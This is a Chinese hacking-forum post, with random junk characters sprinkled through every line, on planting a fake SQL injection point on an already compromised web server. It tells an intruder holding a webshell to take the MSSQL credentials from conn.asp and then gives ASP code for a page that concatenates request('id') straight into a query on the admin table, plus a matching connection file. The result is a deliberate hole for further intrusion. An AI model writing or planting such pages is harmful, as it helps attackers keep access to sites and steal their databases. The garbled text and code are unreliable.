自己构造注入点方便入侵' r" g# H: C* B( d
8 p9 F3 p" Q3 @3 D, R3 C* b1 q
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息6 W8 F' w: ~: C- F! ^
8 E# ]$ Z, W" \
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!: ]+ ^, p6 s' T8 ^
/ R0 ]# z: c1 X6 p( s4 q" h首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
( D9 K; u' |/ q2 V! R1 |0 G3 @( c2 A$ n# t/ `7 L( Y
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表! j+ j3 [" R0 ]2 ]! F
& K1 v: V N8 M1 {' [+ x/ B% e/ d9 L因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:9 }- B( c' Q1 |5 N2 v$ q; e, Z
# Z% j$ Y. Y! F7 C& [
程序代码% U) ^, @4 `1 ^% M8 y* J1 k9 z
<!--#include file="xx.asp"-->
( o, J9 F+ c% N' b3 n0 W" O; l( m3 A<%; b/ W# f6 X) R5 ]) A$ j( P. m
set rs=server.createobject("ADODB.recordset")
7 A0 }; H$ \% t; o/ `& d+ @2 `# \id = request("id")! i9 h- _! S) ?& F! E# j
strSQL = "select * from admin where id=" & id
4 {. Z5 r1 F5 {3 s7 N2 B- Trs.open strSQL,conn,1,3
7 T9 q9 E3 V0 W% Q, K! e. ers.close
; x( V( W* J2 A" D) e%>
4 x2 G+ v' }5 m4 O& b# T; p: x j9 h" [5 O4 [
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在+ B0 n, |! S7 y% v% n5 ?" p
& X! e( u8 h. ~, x$ D- Z你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!6 Q! g0 d4 d& H( w8 h' ~' L
1 [' Z4 c6 X* ]8 A
然后就要构造一个连接数据库的文件了,代码如下:
6 l, s+ X: ~2 p, t4 C' I) y程序代码* g4 ^; f' M( W; d7 e) x2 h- V
<% ~" h& } A; k
strSQLServerName = "000.000.000.000" '服务器名称或地址9 F5 D& W3 J& ?5 V9 V9 q
strSQLDBUserName = "sqlname" '数据库帐号( Y( s# q) @( w& @. I, U
strSQLDBPassword = "sqlpass" '数据库密码3 b6 L3 G9 A# p% p, S
strSQLDBName = "sqldataname" '数据库名称' z; ? i4 v5 R* S6 t! ^0 D5 s- [
Set conn = Server.CreateObject("ADODB.Connection")
: r5 ?4 D( Z$ M7 FstrCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"% h1 x$ N/ \! s
conn.open strCon
. ^) Y. k/ V/ N2 W. e! I3 I: [%>) A* S2 X# V: L0 m q T
8 u ~" C! A7 U& v! p0 \ ^6 w& z
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
1 S" r: {! X! }! j% S9 O- E( M# z% ?7 H( ^' `# M& O
就这样,正常情况下,就OK了,伪造成功……' K5 e0 L, H9 y
9 J5 J0 l2 E$ B$ x$ i 如果有什么问题可以提出来大家一起探讨解决。 |